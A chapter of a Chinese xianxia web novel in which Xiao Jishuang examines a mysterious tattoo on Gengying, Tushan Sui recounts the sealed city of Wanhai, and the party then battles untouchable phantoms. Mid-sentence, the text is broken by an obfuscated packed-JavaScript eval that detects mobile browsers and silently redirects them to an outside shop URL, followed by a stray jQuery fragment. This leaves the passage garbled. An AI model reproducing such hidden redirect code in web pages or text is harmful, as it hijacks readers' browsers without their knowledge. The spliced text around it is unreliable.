肖霁霜笑着回望更影:“不问?”
更影再瞧了他片刻,低头饮了口水,道:“问什么?”
肖霁霜想了想,道:“我的目的,我的过往,我与涂山绥的关系……诸如此类。”
更影摇头:“你不说,我便不必知道。”
两人之间沉寂片晌,肖霁霜喝了半碗水,将水碗搁下,冲更影招了招手:“你来,帮个忙。”
更影不明所以,见他并无解答之意,这便起身走近了。
肖霁霜笑意盈盈地拍了拍身侧,示意他再往前些:“坐。”
这距离太近了,更影本想推辞,但对上那双眸子,又觉不过区区小事,便拎了凳子,背脊挺得笔直,听话坐下了。
肖霁霜学着他正襟危坐,说出的话却截然相反:“你能把上衣脱了吗?”
更影抿了抿唇:“为何?”
肖霁霜神色坦荡:“斗篷丢了,我冷。”
于是更影将外衣脱下来给他。
肖霁霜披上,又伸手:“我身子弱,还冷。”
更影又脱下一件。
肖霁霜披上,又伸手:“冷。”
更影此时只余一件薄薄的中衣了,他顿了顿,起身:“你等等,我将火生旺些,便不冷了。”
肖霁霜的视线落到他胸前。
更影不觉,在山洞里取了些涂山绥备的枯枝落叶,添薪加柴。
肖霁霜看到了,从雪白里衣下透上来的,若有若无的黑。
火大起来了,焰光摇摇曳曳。
“更影,”肖霁霜叫他,“你过来些。”
更影在原地蹲了一会儿,这才磨磨蹭蹭起身挪了过来。
“你再近些。”
更影往前跨了半步。
肖霁霜叹口气,主动走上前去,隔着布料摸上他的胸膛:“不是你想问的吗?这两日时不时捂着胸口瞧我,我还当初入秘境打那一场,将你误伤了呢。”
他的胸口下方,有一个黑色的印记,与肤色形成鲜明对比。
指尖在胸膛的触摸太明显,更影的眼睫抖了抖,依旧默不作声。
“天生的?”肖霁霜的指尖描摹着那模糊的形状,“还是刺的?”
细微的痒让他一时不知如何是好,更影往后退了一步,躲开了,他顿了顿,答:“自记事起就在了,不知是不是刺青——”
肖霁霜收回手,视线却还停在那,他扯了扯身上两件缓缓下滑的衣服,然后突发奇想般一偏头:“看看?”
更影没说话。
肖霁霜近前一步:“我瞧这模样眼熟,说不定认得呢?”
更影的指尖搭在衣带,他犹豫一会儿,还是解开了:“劳烦。”
大片肌肤暴露眼前,只见他胸口一处刺青,古朴诡谲,字意难辨,竟与元辰剑柄所刻字体相近。
肖霁霜瞧了,久久不言,忽而发笑,将衣物抛还给他,便道:“不知。”
于是转身坐回去,在暖融融的火光中惬意地眯了眯眼。
更影不信,绕到他身前:“你知道。”
肖霁霜手肘撑在膝盖上,支着下巴看他:“不是‘你不说,我不问’?”
更影还欲追问,却听山洞外涂山绥念咒,只得整理仪态,暂且按下,想了想,仍有不甘,道:“是你问的。”
肖霁霜愣了愣,又笑了一阵,点头:“是,我问的,所以呢?”
更影一声不吭。
倒是沐景宵一边拍着灰尘往里走,一边抱怨:“这到底是什么鬼地方?若非灵力阻滞,我们怎么会如此狼狈!”
“这里的人也是,”绿腰呸了一声,“使的什么邪术!”
她骂完,方意识到自己把涂山绥也骂进去了,连忙表示歉意:“是我嘴快,恩人莫怪。”
涂山绥自不放在心上,便摇了摇头,往里望去,莫名觉得火堆旁那两人怪怪的。
“肖道友!”姚宁欣见了他们,忙凑前去,“ 你们平安无事可太好了,我们莫名被当地人追捕,费了好一番功夫,最后还是靠这位姑娘才成功脱身。”
“劳烦挂心,”肖霁霜朝她颔首,“我们亦是陷入险境,多亏涂山姑娘相救。”
“不必,”涂山绥示意沐景宵三人随意,也坐下了,各色饰品映着火光,熠熠生辉,“你们怎么进来的?”
沐景宵道:“我们原在复照秘境,寻到一个剑棺,还没来得及细查,就突然落入此地了——涂山姑娘可知怎么出去?”
“出去?”涂山绥的面色有几分古怪,“没有人可以出去。”
闻言,姚宁欣下意识攥紧了拳,掌心刺痛让她冷静几分,问:“什么意思?”
涂山绥缓缓道来。
原来此城名为万骸,顾名思义,所住皆是亡于天怒的死人,不时有大火焚城,受尽苦楚。
城中有巫觋,每每卜算,出十数人至百余人不等,每次卜算,因天时不定,所选之人随机,缚之焚于舞雩台周,可避焚城。
因已是死人,所焚者会再现城中。
而若有外来非死者,捕之烧之,可替其一,不必再换。
而最近一次,则是此地被封印之前,有一老樵夫误入青丘,为防封印被干扰,九尾狐族将其救出,然而他慌乱中进入万骸城,险些被替,躲进舞雩台,迷失其中,直到封印完成,方被放出。
几人听罢,发现这正是柯州得名的由来。
涂山绥叹了口气:“封印不解,便为绝地,进不得出不得,因而我才好奇,你们为何能进来。”
沉默片刻,沐景宵问:“为何要将此地封印?”
涂山绥注视着烈火,沉声道:“天亡于舞雩。”
“什么?!”
此言一出,石破天惊,几人惊诧不已。
涂山绥的目光若有若无扫过肖霁霜,见他只是低垂下眼睫,又笑言:“若能离去,且当此地种种,亦为南柯一梦吧。”
不待几人从这骇人的信息中回神,涂山绥忽地抬手,袖中一阵异香拂过。
沐景宵、姚宁欣与绿腰还未来得及反应,便觉眼皮沉重,歪倒在地,沉沉睡去。更影强撑着想看向肖霁霜,却也抵不过那力量,缓缓合上眼。
涂山绥这才道:“不会有不该听的被听去了,涂山芹和芜娘、蓁娘呢?”
肖霁霜取出乾坤袋中的白瓷球,又褪下手衣,向她展示了掌心狰狞的疤痕,道:“涂山芹为护芜娘,受瘴毒反噬,已经故去。芜娘不知族中旧事,已结挚友,我亦有私心,因而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665920|206202||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
以誓言换得此物,如今既见九尾族人,将此交付——待舞雩台动荡之日,可凭此开启封印,让青丘重回世间,让死者可入轮回。”
“至于蓁娘……”肖霁霜目光扫过更影四人,“你且先将他们送出去吧。”
白瓷球刚被涂山绥接过,便在她掌心应声而碎,只余一枚小巧的额钿,她试着注入妖力,下一刻便白光大绽,待光芒退去,洞中只余她与肖霁霜二人。
肖霁霜便继续道:“为护蓁娘,涂山芹将她血脉封印后,藏匿人间,不知所踪。”
他顿了顿,笑说:“她生得与涂山紫有六分相似,你若还记得涂山芹的模样,应当认得出来。”
涂山绥看看手中的钥匙,又看看肖霁霜,苦笑一声,道:“原是她啊……”
血竹林中,幽怨低泣般的风声依旧没有停歇,沐景宵四人只觉头晕目眩,竟是想不起方才发生了什么,尚未站稳之际,周遭空气便是一阵扭曲——万骸城的不灭亡者竟也追随而知,隐与竹林之间,身影重叠。
巫觋的吟唱声在林中回荡,亡者们朝四人直扑而来。
“小心!”沐景宵厉声喝道,秘境中充沛的灵力填满丹田,他掐诀御剑,剑气如流光掠过。
更影亦是掷剑而出,直取大巫面门,他下意识分神去寻肖霁霜,却是一时不见其踪。
然而凌厉的剑光扫过,无论元辰剑还是更影手中弟子剑,皆是径直穿透了他们,如过镜中花水中月,未曾伤到分毫,落在后方的血竹上,齐齐斩断数根。
沐景宵瞪大眼睛,连忙侧身躲过一击,然而他们无法触及的虚影,却是在他的脸上留下一道浅浅的血痕,他反手一刺,依旧落了个空,不由气急:“这到底是什么东西!”
“没用!根本碰不到他们!” 绿腰再次猛挥一拳,拳风却只在虚影中荡开一圈涟漪。
“肖霁霜呢!?”更影紧蹙双眉,一次次挥剑一次次落后,竟还是不退反进,闯进茫茫虚影之中,然而搜寻一圈,仍是毫无所获,心下便有了不好的猜测——他莫不是已落敌手?
“不知道!”绿腰险之又险地躲开直冲面门而来的藤杖,顺势脱出重围,“开了个棺他就不见了!”
攻不得防不住,眼看退无可退,姚宁欣暗骂一声该死,手中剑簪转了一圈,插回发中,未再做那无用功,与绿腰对视一眼,便双双扯下腕间所缠珠链,足尖一点,相背隐入竹林之中。
她们身法轻盈飘逸,不多时便回到原地,低喝一声:“起阵!”
便是连风声都慢了,虚影的行动竟也受到片刻阻滞。
眼见阵法有效,沐景宵与更影亦是抛出一把符箓,意念催动,环绕竹林,线线寒光如绳索般进一步拖住了虚影前行的脚步。
然而好景不长,那一双黄金面具的巫觋虚影携着森然巫力再度逼来,阵法效果骤减,沐景宵当即奔至瑶宫师姐妹身侧,加入固阵,试图寻找到解决办法。
思绪万千间,他的视线猛然停在了剑棺之上,将要出口的办法生生停在嘴边——既是开棺召来虚影,是否合棺便可令其消散?
可那剑棺上还落了一件披风,今夜以它御寒之人,不知所踪。
沐景宵咬咬牙,转头看向更影,喊道:“更影,盖棺!”